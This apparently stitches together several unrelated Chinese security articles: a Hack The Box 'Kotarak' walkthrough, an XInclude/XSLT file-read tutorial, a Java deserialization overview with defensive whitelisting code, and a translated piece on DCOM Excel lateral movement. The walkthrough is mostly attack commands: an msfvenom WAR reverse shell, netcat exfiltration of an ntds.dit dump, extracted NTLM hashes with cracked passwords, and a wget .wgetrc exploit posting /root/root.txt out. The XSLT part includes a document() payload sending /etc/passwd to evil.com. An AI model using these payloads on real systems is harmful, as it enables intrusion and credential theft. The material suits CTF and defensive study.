ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55
扫描结果提示，22、8080、8009以及60000端口开放。
## 8080web探测
首先访问<http://10.10.10.55:8080，显示HTTP> Status 404 - /，状态码404 not found。于是枚举目录。
> dirb <http://10.10.10.55:8080>
+ http://10.10.10.55:8080/docs (CODE:**302**|SIZE:0)
+ http://10.10.10.55:8080/examples (CODE:302|SIZE:0)
+ http://10.10.10.55:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.10.55:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.10.55:8080/manager (CODE:302|SIZE:0)
发现基本上都是302重定向。
于是访问下 <http://10.10.10.55:8080/manager>
发现302重定向到<http://10.10.10.55:8080/manager/>
并且状态码是404。但是404页面有个提示，tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项：
> /manager/html for the HTML GUI
>
> /manager/text for the text interface
>
> /manager/jmxproxy for the JMX proxy
>
> /manager/status for the status pages
我们就按照所说的访问一下。发现所给的urls都需要登陆才能访问。
再搜索下 Apache Tomcat
8.5.5。[参考](http://blog.csdn.net/posonrick/article/details/72566875)
tomcat是java web服务器
尝试访问：<http://10.10.10.55:8080/index.jsp> ，200ok。
## 60000端口-web探测
### SSRF-服务端请求伪造
没有经验的小白先跟whale学习下。
该漏洞经常出现在服务端，一些web应用程序经常从其他server获取信息。
> 客户端 （去B服务器取回图片 !）——》A服务端（执行）————》B服务器（返回图片）————》A服务器（执行完毕）————》客户端（收到图片）
#### 攻击方式：
> 客户端（去扫描B服务器 ！）——》A服务端（执行）————》B服务器（返回数据包）————》A服务器（执行完毕）————》客户端（收到扫描结果）
服务器没有过滤客户端的请求。本来设计的功能想法是好的，但是攻击者不打算 **以设计者的想法** 来使用这个功能。
使用这个私人的web浏览器匿名在网络冲浪，请不要滥用它。
* Trying
python -m SimpleHTTPServer
ifconfig
在本地开启服务器，查看本地ip。
尝试用浏览器上的该功能访问下本地，是否成功。
输入`http://本地ip：8000`
浏览器跳转到一个地址`http://10.10.10.55:60000/url.php?path=http://本地ip:8000`
成功访问客户端本地地址。
* Trying
然后尝试ssrf，提交`file:///etc/passwd`
返回`try harder`
尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。
* Trying
尝试`http://localhost:60000` 返60000端口上的正常页面。
因为端口扫描那一步 **客户端访问都是302重定向**
，需要登陆才能访问，于是我们通过60000端口上的“搜索”功能，绕过对客户端的限制。让服务器替我们获取想要的信息。
# wfuzz
* 这是一个web扫描软件
可以用`wfuzz -h` 查看使用方式
我们使用下列参数，扫描服务器开放的端口
`wfuzz -c -z range,1-65535
http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ`
图片中，2 Ch是响应的字符串，访问后发现没有任何有价值的东西，于是我们忽略它。
`wfuzz -c -z range,1-65535 --hl=2
http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ`
扫描后，我们得到了非2 Ch的响应结果。
看到了很多端口信息，因为 **客户端nmap扫描是远程访问** ，有 防火墙等等，所以在这里会得到更加详细的（在远程扫描不到的）端口信息。
* trying
一个一个访问这些开放了的端口，`http://10.10.10.55:60000/url.php?path=http://localhost:端口`
在888端口，找到了一个备份页面backup。
* Trying
`http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup`
得到了可能是tomcat配置文件中的用户名密码。
（有一个小技巧，在端口扫描那一步，得到了不能访问的文件名，可以用ssrf去访问，来获取敏感文件。）
我们用这个口令登陆端口扫描那一步获得的地址`manager/html`
#### **获取shell**
刚刚通过ssrf获取敏感文件，从而突破防线，接下来，我们要获取一个shell。
因为主页面上有上传功能，提示：
deploy directory or WAR file located on server.
war file to deploy
select war file to upload.
暗示了我们可以上传一个war类型的反弹shell。
> msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f war >
> ippsec.war
`War——web归档文件，war文件用于封装web模块。web模块可以代表一个独立的web应用程序。`
* Trying
成功上传——本地nc监听80端口`nc -lnvp 1234`——浏览器访问payload地址，即可获得一个shell。
* shell中运行
`python -c 'import pty;pty.spawn("/bin/bash")'` 于是获得一个bash shell。
* find . -name "user.txt" 2>/dev/null
`/home/atanas/user.txt` 无读取选项
## 用户提权
经过之前步骤，我们获得了一个tomcat用户权限的shell，可以看到有一些文件是不允许访问的。接下来看看如何获取root权限。
`cd /home/tomcat/to_archive/pentest_data`
在用户家目录下，发现一个ntds.dit文件。以前没做过域渗透，(⊙﹏⊙)稍微去了解了下，ntds.dit即目录数据库，用于windows域。
### 文件传输
将那两个文件用nc发送到攻击机本地
kali: nc -lvnp 443 > SYSTEM
shell: nc 10.10.14.5 443 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
kali: file
同样的方式，把另一个文件用ntds.dit作为文件名传送到本地
### 方法二：
发现nc传输，当文件大时，十分不方便
远程shell：python -m SimpleHTTPServer 7788
本地kali：
wget http://10.10.10.55:7788/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
wget http://10.10.10.55:7788/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
## 工具介绍
### 安装
简而言之，下面的工具就是用来提取目录数据库中保存的hash的。
#### libesedb
git clone https://github.com/libyal/libesedb.git
cd libesedb/
apt-get install git autoconf automake autopoint libtool pkg-config build-essential
./synclibs.sh
./autogen.sh
./configure 将源代码编译
make
make install
ldconfig
#### ntdsxtract
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py build && python setup.py install
#### 使用方法：
[video:提取hash](https://blog.didierstevens.com/2016/07/30/video-ntds-dit-extract-hashes-with-secretsdump-py/)
esedbexport -m tables ntds.dit
该命令运行后，会生成一个文件夹，ntds.dit.export
cd ntds.dit.export;ls
可以查看生成了一些文件，注意datatable.3、link_table.5
文件绝对路径:
1. /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3
2. /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5
3. 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
重命名为SYSTEM
dsusers.py 路径1 路径2 hashdump（生成的文件夹名称） --syshive 文件3 --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc
最终的命令
dsusers.py /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3 /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc
在生成的文件夹hashdump，可以找到ntout.txt
ntout.txt的内容如下
Administrator:::e64fe0f24ba2489c05e64354d74ebd11:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:::ca1ccefcb525db49828fbb9d68298eee:S-1-5-21-1036816736-4081296861-1938768537-502::
atanas:::2b576acbe6bcfda7294d6bd18041b8fe:S-1-5-21-1036816736-4081296861-1938768537-1108::
复制2b576acbe6bcfda7294d6bd18041b8fe，在在线密码破解网站<https://crackstation.net/>
| 用户名 | 密码 |
| Administrator | f16tomcat! |
| atanas | Password123! |
| krbtgt | 破解失败 |
`su atanas`
用`atanas`作为用户名，`f16tomcat!`作为密码，成功获得atanas用户权限
获得user flag`cat ~/user.txt`
## root提权
kali：`python -m SimpleHTTPServer 80`
远程shell:
cd /tmp
wget http://10.10.14.5:80/LinEnum.sh
chmod a+x LinEnum.sh; ./LinEnum.sh
find . -name "root.txt" 2>/dev/null
未找到
### 线索app.log
app.log暗示了我们10.0.3.133的wget版本`Wget/1.16`
`wget -V`，发现主机10.10.10.55的Wget版本为 `1.17.1`
有一个主机10.0.3.133，每两分钟获取主机10.10.10.55的/archive.tar.gz文件。
searchsploit Wget
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
searchsploit -m exploits/linux/remote/40064.txt
查看40064.txt，可以得知wget漏洞利用的详细内容以及exploit代码。
* * *
### 信息搜集
**ifconfig**
eth0 inet addr:10.10.10.55
lxcbr0 inet addr:10.0.3.1
`arp -a` 查看本地arp缓存表。
显示局域网ip有两个，`10.10.10.2` `10.10.3.133`
shell终端运行nmap，显示不能用。
那么用nc来扫描端口：
`nc -v 10.10.3.133 445`
`nc -v 10.10.3.133 3389`
`nc -v 10.10.3.133 22`
只有22端口显示succeeded。
这一步骤为了确定ip10.10.3.133是什么机器，显然是linux机器。
看来我们要提权10.10.3.133的root权限，来获得root.txt
### wget漏洞利用
#### 利用思路
当133主机请求10.0.3.1的archive存档文件时候，3.1会提示404不存在。
如果我们用kali开启ftp服务，并且让3.1重定向到kali-ftp，于是133主机就会取回.wgetrc作为全局初始化配置文件。
.wgetrc提示发送/root/root.txt，于是133就将本机的机密文件发送给了10.0.3.1
#### 利用过程
kali :
建立如下两个文件
touch exp.py
touch .wgetrc
`.wgetrc`文件内容，保存的绝对路径为/root/.wgetrc
post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell
> wgetrc是一个全局初始启动的配置文件
post-file选项使你选择一个具体的文件发送
output_document选项，使下载的文件以你设置的文件名保存
exp.py内容
<https://raw.githubusercontent.com/Teckk2/Teck_k2/master/Kotarak-wget.py>
将exp修改ftp的ip为kali的，然后上传至10.10.10.55。
kali:
pip2 install pyftpdlib
python -m pyftpdlib -p 21 -w
以路径/root，kali开启ftp服务器
kali上传wget.py到远程主机：
`python -m SimpleHTTPServer 8080`
远程shell :
wget http://10.10.14.5:8080/wget.py
authbind python wget.py
稍等两分钟，10.10.10.55的shell就会返回执行结果，成功获得10.10.3.133的/root/root.txt文件。
成功获得root.txt的flag。
如果将.wgetrc文件进行修改，即可获得任意10.10.3.133的文件，包括/etc/shadow。
### 参考资料:
[从ntds-dit提取密码的三种方式](https://www.hackingarticles.in/3-ways-extract-password-hashes-from-ntds-dit/) | 社区文章 |
# 浅析xml之xinclude & xslt
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近依旧在研究xml及其相关安全问题，前一篇文章已经提及了较为大众且CTF中常见的xml攻击方式
[https://www.anquanke.com/post/id/155328
](https://www.anquanke.com/post/id/155328)
这里再提两个较为小众的攻击方式（此处小众是指CTF比赛中不常见）
## Xinclude
### 什么是xinclude
顾名思义，xinclude可以理解为xml include
熟悉编译/脚本语言的一定熟知，像php的include，python和java的import都是可以进行文件包含的。
那么文件包含有什么好处？
当然是可以使代码更整洁，我们可以将定义的功能函数放在function.php中，再在需要使用功能函数的文件中使用include包含function.php，这样就避免了重复冗余的函数定义，同样可以增加代码的可读性
故此，xinclude也不例外，它是xml标记语言中包含其他文件的方式
### 为什么使用xinclude
正如如上所说，xinclude可以使代码可读性更高，这里给出官方手册中的样例，便于理解：
page.xml
<?xml version="1.0"?>
<webpage>
<body>Hello world!</body>
<xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>
</webpage>
footer.xml:
<?xml version="1.0"?>
<footer>? Contoso Corp, 2003</footer>
处理过程
### xinclude的语法介绍
xinclude的语法相对来说，非常简单，只是在`http://www.w3.org/2003/XInclude`命名空间中的两个元素，即 include
和 fallback
常用的命名空间前缀是“xi”(但可以根据喜好自由使用任何前缀)
**xi:include 元素**
元素中的几个属性:
* href — 对要包括的文档的 URI 引用。
* parse — 它的值可以是“xml”或“text”，用于定义如何包括指定的文档（是作为 XML 还是作为纯文本）。默认值是“xml”。
* xpointer — 这是一个 XPointer，用于标识要包括的 XML 文档部分。如果作为文本包括 (parse=”text”)，将忽略该属性。
encoding — 作为文本包括时，该属性提供所包括文档的编码提示信息。
样例如下：
<xi:include href="test.xml" parse="text"/>
**xi:fallback 元素**
简单而言，类似于`try...except...`，如果xinclude的内容出现问题，则显示fallback的内容
例如
<xi:include href="test.xml" parse="text"/>
<xi:fallback>Sorry, the file is unavailable<xi:fallback>
</xi:include>
此时解析xml后，若test.xml不存在，则会解析获取到`Sorry, the file is unavailable`
### 安全问题
看完上述内容，一定会有人问，为什么不直接使用外部实体引入就好了？
这里官方文档也给出了详尽的解释：
XML 外部实体有很多众所周知的局限和不便于使用的含义，这些因素极大地妨碍了 XML 外部实体成为多用途包含工具：
* 1.XML 外部实体无法成为一个成熟的独立 XML 文档，因为它既不允许独立的 XML 声明，也不允许 Doctype 声明。这实际上意味着 XML 外部实体本身无法包括其他外部实体。
* 2.XML 外部实体必须是格式规范的 XML
* 3.未能加载外部实体是重大错误 (fatal error)；严格禁止任何恢复。
* 4.只能包括整个外部实体，无法只包括文档的一部分。
5.外部实体必须在 DTD 或内部子集中进行声明。
等等，外部实体？讲到安全问题，你是否立刻就想到了XXE（XML External Entity Injection）任意文件读取的问题？
没错，xinclude作为外部实体引用的替代品，同样具有XXE的问题，并且还有一些特别的地方：
**传统的XXE文件读取**
<?php
$xml = <<<EOD
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
// load the XML string defined above
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
但是访问该页面，我们却发现并没有解析xml
这是因为php的xml库的底层库是libxml2，而在2.6版本之后，改库已默认禁用外部实体引用的解析，我们可以使用
echo LIBXML_DOTTED_VERSION;
来查看当前版本号
所以我当前的xml解析已默认不支持外部实体引入了，故此我们查阅php手册中的`libxml option
constants`，可以发现使用`LIBXML_NOENT`选项即可加载外部实体
所以关键代码更改为
$dom->loadXML($xml,LIBXML_NOENT);
即可：
**传统文件读取进阶版—过滤**
倘若我们发现外部实体引入时，存在关键词过滤
例如
ENTITY
等被过滤，那么我们可以尝试使用utf-7编码
例如
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
我们利用
https://www.motobit.com/util/charset-codepage-conversion.asp
转为utf-7
+ADwAIQ-DOCTYPE ANY +AFs- +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg- +ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
然后使用
<?xml version="1.0" encoding="utf-7" ?>
测试脚本
<?php
$xml = <<<EOD
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE ANY +AFs- +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg- +ADw-x+AD4AJg-f+ADsAPA-/x+AD4- EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
效果如下
**xinclude文件读取**
倘若由于需要，我们使用了xinclude
<?php
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>
我们发现
$dom->loadXML($xml);
我们并没有打开外部实体引用选项，却成功的读取`/etc/passwd`的内容
这一点值得关注，倘若我们在测试过程中，发现我们可控xml文本内容，但是引入外部实体无效或是存在过滤，尝试编码绕过也不行的时候，那么可以尝试使用xinclude
因为xinclude无需使用`LIBXML_NOENT`选项去开启默认关闭的外部实体引用
## XSLT
XSL 指扩展样式表语言（EXtensible Stylesheet Language）
而XSLT 指 XSL 转换：即使用 XSLT 可将 XML 文档转换为其他文档，比如XHTML。
### 简单样例
下面展示利用php后端语言，将xml转换为html
test.xml
<?xml version="1.0" encoding="utf-8"?>
<root>
<name>sky</name>
<blog>skysec.top</blog>
<country>China</country>
</root>
test.xsl
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">Name</th>
<th align="left">Blog</th>
<th align="left">Country</th>
</tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="name" /></td>
<td><xsl:value-of select="blog" /></td>
<td><xsl:value-of select="country" /></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
test.php
<?php
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
结果如下
查看源代码
<html><body><table border="1">
<tr bgcolor="#9acd32">
<th align="left">Name</th>
<th align="left">Blog</th>
<th align="left">Country</th>
</tr>
<tr>
<td>sky</td>
<td>skysec.top</td>
<td>China</td>
</tr>
</table></body></html>
发现
<td><xsl:value-of select="name" /></td>
<td><xsl:value-of select="blog" /></td>
<td><xsl:value-of select="country" /></td>
已被替换成对应的值
### 安全问题
**传统文件读取**
这里的安全问题基本与xml中相同
像读文件：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY shit SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
&shit;
</xsl:template>
</xsl:stylesheet>
这就很成功的可以读取文件内容了
但是需要注意的是，同样因为php底层的libxml库默认禁用了外部实体引入，所以我们还是需要手动加入
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl",LIBXML_NOENT);
**xsl文件读取**
当没开启外部实体引入的时候，我们可以考虑如下方式
* <xsl:include> / <xsl:import>
查阅手册，发现该元素必须是 <xsl:stylesheet> 或 <xsl:transform> 的子节点
语法为
<xsl:include href="URI"/>
既然是url，那么利用的方式就有很多种了
例如：
<xsl:include href="file:///etc/passwd"/>
此时报错了
我们尝试用base64
<xsl:include href="php://filter/read=convert.base64-encode/resource=/etc/passwd"/>
解base64
这很不爽，因为
echo $proc->transformToXML($xmlDoc)
的原因，我们不能输出完整的信息
如果我改成
echo base64_encode($proc->transformToXML($xmlDoc));
其实是可以成功读取文件内容的，但估计目标不会先base64再帮我们打印出来吧
所以有了以下方法
* document()
我们结合该函数却可以直接带出数据
<xsl:variable name="name1" select="document('file:///etc/passwd')" />
<xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
**传统端口探测**
话不多说，测试脚本如下
当外部实体引用开启时
<?php
$xml = <<<EOD
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [<!ENTITY shit SYSTEM "http://127.0.0.1:9999">]>
<x>&shit;</x>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
当端口关闭的时候发现
当端口开启的时候
**xsl端口探测**
上述方法需要开启外部实体引入，而这里只需要使用document()函数即可
给出部分代码
<xsl:for-each select="sky">
<tr>
<td><xsl:value-of select="name" /></td>
<td><xsl:value-of select="blog" /></td>
<td><xsl:value-of select="country" /></td>
<td><xsl:value-of select="document('http://127.0.0.1:9999')" /></td>
</tr>
</xsl:for-each>
当端口关闭时
当端口开启时
### CTF样题
曾经有做过一道xslt服务端注入攻击的综合题目，有兴趣的可以看这篇wrietup
<http://skysec.top/2018/03/23/%E4%BB%8Esql%E6%B3%A8%E5%85%A5%E5%88%B0xslt%E5%86%8D%E5%88%B0xxe%E7%9A%84%E4%B8%80%E9%81%93ctf%E9%A2%98%E7%9B%AE/#%E6%80%9D%E8%80%83%E6%94%BB%E5%87%BB%E7%82%B9>
## 后记
Xml作为一种标记语言，其中蕴含的技巧还有许多等待探索，我在此抛砖引玉了~很期待有师傅来交流一些XD的姿势~ | 社区文章 |
### **一、什么是序列化**
序列化
(Serialization)是指将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。
简单来说：
**序列化** ： 将数据结构或对象转换成二进制串的过程
**反序列化** ：将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程
[
下面是将字符串对象先进行序列化，存储到本地文件，然后再通过反序列化进行恢复的样例代码：
public static void main(String args[]) throws Exception {
String obj = “hello world!”;
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream(“object.db”);
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.db中读取数据
FileInputStream fis = new FileInputStream(“object.db”);
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
### **二、反序列化漏洞原理**
反序列化漏洞的本质就是反序列化机制打破了数据和对象的边界，导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象，控制了对象就可能在目标系统上面执行攻击代码。Java序列化应用于RMI
JMX JMS 技术中。
### **三、漏洞危害**
[
**案例一：Apache ActiveMQ 5.12.0 远程代码执行漏洞(JMS)**
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序未能限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java
Message Service (JMS) ObjectMessage对象利用该漏洞执行任意代码。
[
受到影响的消息系统如下
Apache ActiveMQ 5.12.0 and earlier
HornetQ 2.4.0 and earlier
Oracle OpenMQ 5.1 and earlier
IBM Websphere MQ 8.0.0.4 and earlier
Oracle Weblogic 12c and earlier
Pivotal RabbitMQ JMS client 1.4.6 and earlier
IBM MessageSight MessageSight V1.2 JMSClient and earlier
SwiftMQ JMS client 9.7.3 and earlier
Apache ActiveMQ Artemis client 1.2.0 and earlier
Apache Qpid JMS client 0.9.0 and earlier
Amazon SQS Java Messaging Library 1.0.0 and earlier
**案例二：JBoss 反序列化漏洞(JMX)**
Jboss利用的是HTTP协议，可以在任何端口上运行，默认安装在8080端口中。JMX是一个java的管理协议，在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。
本地构造恶意的序列化对象
[
构造恶意的序列化对象发送给目标主机：
[
执行系统命令：
[
RedHat发布JBoss相关产品的解决方案:
<https://access.redhat.com/solutions/2045023>
受影响的JBoss产品有：
Environment
Red Hat JBoss A-MQ 6.x
Red Hat JBoss BPM Suite (BPMS) 6.x
Red Hat JBoss BRMS 6.x
Red Hat JBoss BRMS 5.x
Red Hat JBoss Data Grid (JDG) 6.x
Red Hat JBoss Data Virtualization (JDV) 6.x
Red Hat JBoss Data Virtualization (JDV) 5.x
Red Hat JBoss Enterprise Application Platform 6.x
Red Hat JBoss Enterprise Application Platform 5.x
Red Hat JBoss Enterprise Application Platform 4.3.x
Red Hat JBoss Fuse 6.x
Red Hat JBoss Fuse Service Works (FSW) 6.x
Red Hat JBoss Operations Network (JBoss ON) 3.x
Red Hat JBoss Portal 6.x
Red Hat JBoss SOA Platform (SOA-P) 5.x
Red Hat JBoss Web Server (JWS) 3.x
**案例三: Jenkins
Remoting的相关API是用于实现分布式环境中master和slave节点或者master和CLI的访问，API没有身份认证并且支持序列化对象。**
CVE-2016-0788通过Jenkins
Remoting巧妙地开启JRMP，JRMP触发反序列化操作,从而进行漏洞的利用。作者已经提供了完整利用POC：
在远程服务器开启JRMI端口：
[
连接远程服务端口，发送恶意序列化数据包：
[
这样在Jenkins的根目录就会生成一个pwned文件。
受影响的版本
All Jenkins main line releases up to and including 1.649
All Jenkins LTS releases up to and including 1.642.1
### **四、漏洞防御**
1、反序列化对象白名单控制，在resolveClass方法中校验对象名字。
**public class **LookAheadObjectInputStream **extends **ObjectInputStream {
**public **LookAheadObjectInputStream(InputStream inputStream)
**throws **IOException {
**super**(inputStream);
}
*/\*** Only deserialize instances of our expected Bicycle class*/*@Override
**protected **Class resolveClass(ObjectStreamClass desc) **throws **IOException,
ClassNotFoundException {
**if **(!desc.getName().equals(Bicycle.**class**.getName())) {
**throw new **InvalidClassException(
**“Unauthorized deserialization attempt”**, desc.getName());
}
**return super**.resolveClass(desc);
}
}
2、序列化数据采用对称加密进行传输，接口调用增加身份认证。(此种方法仅仅能提升攻击成本)
3、因为序列化机制不能保证数据的完整和和保密性，如果类中存在敏感数据并且那么这个类还需要序列化，需要在特定对象的一个域上关闭serialization，在这个域前加上关键字transient即可。
【作者简介】迟长峰，携程技术中心信息安全部应用安全工程师。 | 社区文章 |
在今年1月份，我发表了两篇都是关于使用DCOM进行内网渗透的博客文章。其中一篇讲的是使用[MMC20.Application](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)，另外一篇讲的是使用DCOM应用程序暴露的两个[“ShellExecute”方法](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)。
虽然这类大多数技术都有一个执行的方法（WMI里有Create()方法，使用psexec可以创建一个带有自定义binpath的服务等等），但DCOM允许你使用不同的对象来暴露很多执行方法。这就使得操作员可以从父子进程的关系角度来选择他们在远程主机上的所要执行的操作。
在这篇文章中，我将通过滥用[Excel.Application](https://msdn.microsoft.com/en-us/vba/excel-vba/articles/application-object-excel)
DCOM应用程序来执行远程主机上的任意代码。最近一段时间，我们通过使用[RegisterXLL](https://msdn.microsoft.com/en-us/vba/excel-vba/articles/application-registerxll-method-excel)方法讨论了相同的DCOM应用程序在内网渗透中的利用姿势，你可以在[这里](https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52)进行阅读。在这篇文章中，我将专注于介绍“
[Run()](https://msdn.microsoft.com/en-us/vba/excel-vba/articles/application-run-method-excel) ”方法。简而言之，此方法允许你在指定的Excel文档中执行命名宏。
众所周知，VBA宏一直是攻击者最喜爱的攻击技术。通常情况下，VBA滥用涉及到包含宏的Office文档的诱骗电子邮件，以及诱惑的文字，以欺骗用户启用该恶意宏。这里的区别在于我们使用宏来作为渗透过程中的支点而不是用于初始的访问执行。因此，Office
宏的安全设置不是我们需要担心的。我们的恶意宏将执行无论Office 宏的安全设置是什么样的。
我们知道Excel.Application是通过DCOM暴露的。通过使用[OLEViewDotNet](https://github.com/tyranid/oleviewdotnet)由詹姆斯·福肖（[@tiraniddo](https://twitter.com/tiraniddo)）编写的利用工具，我们可以看到，在系统中是否存在明确的启动或访问权限的设置：
如果DCOM应用程序没有明确的启动或访问权限，则Windows允许本地管理员组的用户启动并远程访问应用程序。这是因为DCOM应用程序是具有“默认”启动和访问权限集的属性。如果没有分配明确的权限，则使用默认集。这可以在dcomcnfg.exe中找到，如下图所示：
由于本地管理员能够远程的调用Excel.Application接口，所以，我们可以通过PowerShell使用[Activator] ::
CreateInstance()来远程实例化对象：
正如你在上图中所看到的，远程实例化已经成功。我们现在可以远程与Excel进行交互。接下来，我们需要将我们的有效载荷移动到远程主机。这将是一个包含我们的恶意宏的Excel文档。由于VBA允许Win32
API的访问，所以对于各种shellcode执行器来说，利用方式的可能性是无穷无尽的。在本文的这个例子中，我们将使用启动calc.exe的shellcode来进行演示。如果你好奇这是怎么实现的，那么你可以[在这里](https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/)找到示例。
只需创建一个新的宏，并将其命名为任何你想要的名称，然后添加你的代码，最后进行保存。在本文的示例中，我添加的宏的名称是“MyMacro”，我以.xls格式保存文件。
在创建实际的有效负载的情况下，下一步是将该文件复制到目标主机。由于我们使用这种技术进行内网渗透，因此我们需要在目标主机上使用本地管理员权限。因为只有这样做，我们才可以复制文件：
在目标主机上存放效载荷后，我们只需要执行它就行了。这可以使用之前实例化的Excel.Application
DCOM应用程序的Run()方法来完成。在我们实际调用该方法之前，应用程序需要知道保存这个宏的Excel文件。可以使用“Workbooks.Open()”方法来实现。该方法只需要传入文件的本地路径。那么，如果我们调用该方法并传递我们刚刚复制的文件的路径会怎么样？
看起来有点问题。该文件确实是存在的，但Excel.Application貌似认为这个文件并不存在。为什么会这样呢？当通过DCOM实例化Excel.Application时，实际上是通过本地系统身份进行实例化的。默认情况下，本地系统用户没有配置文件。由于Excel假定它处于交互式用户会话中，所以就会以不太优雅的方式执行失败。我们如何解决这个问题呢？有更好的方法来做到这一点，但是一个快速的解决方案是远程创建本地系统的配置文件。
此配置文件的路径为：
C:\Windows\System32\config\systemprofile\Desktop
C:\Windows\SysWOW64\config\systemprofile\Desktop
现在创建了本地系统配置文件，我们需要重新实例化Excel.Application对象，然后再次调用“Workbooks.Open()”方法：
从上图中我们可以看到，我们已经成功的打开了包含恶意宏的xls文件。在这一点上，我们所需要做的就是调用“Run()”方法，并传入我们的恶意宏的名称。如果你还记得的话，我所命名的宏名称是“MyMacro”。
调用“Run(myMacro)”就可以执行这个宏里面所包含的VBA代码。如果要验证这一点，我们可以在远程主机上打开Process
Explorer来进行验证。如下图所示，该特定主机具有“禁用VBA for Office应用程序”的GPO集。无论安全设置怎么配置，宏都可以成功执行：
在这个演示示例中，我刚刚使用了启动计算器的shellcode，导致在Excel.exe下生成一个子进程。请记住，由于VBA在与操作系统的交互方面提供了很多功能，因此可能不会产生子进程，而是将其注入到另一进程中。
最后的步骤是远程清理Excel对象并从目标主机上删除有效负载。
我已经通过PowerShell自动化了这项技术，你可以在这里找到：
<https://gist.github.com/enigma0x3/8d0cabdb8d49084cdcf03ad89454798b>
为了帮助缓解此攻击向量，你可以手动将远程启动和访问权限应用于Excel.Application对象，但不要忘记查看所有其他的Office应用程序是否也是这样的舍子。另一个可以选择的方法是通过dcomcnfg.exe更改默认的远程启动/访问DACL。请记住，任何DACL更改都应该进行测试，因为这些修改可能会影响正常使用。除此之外，启用Windows防火墙并减少主机上的本地管理员数量也是一种有效的缓解措施。
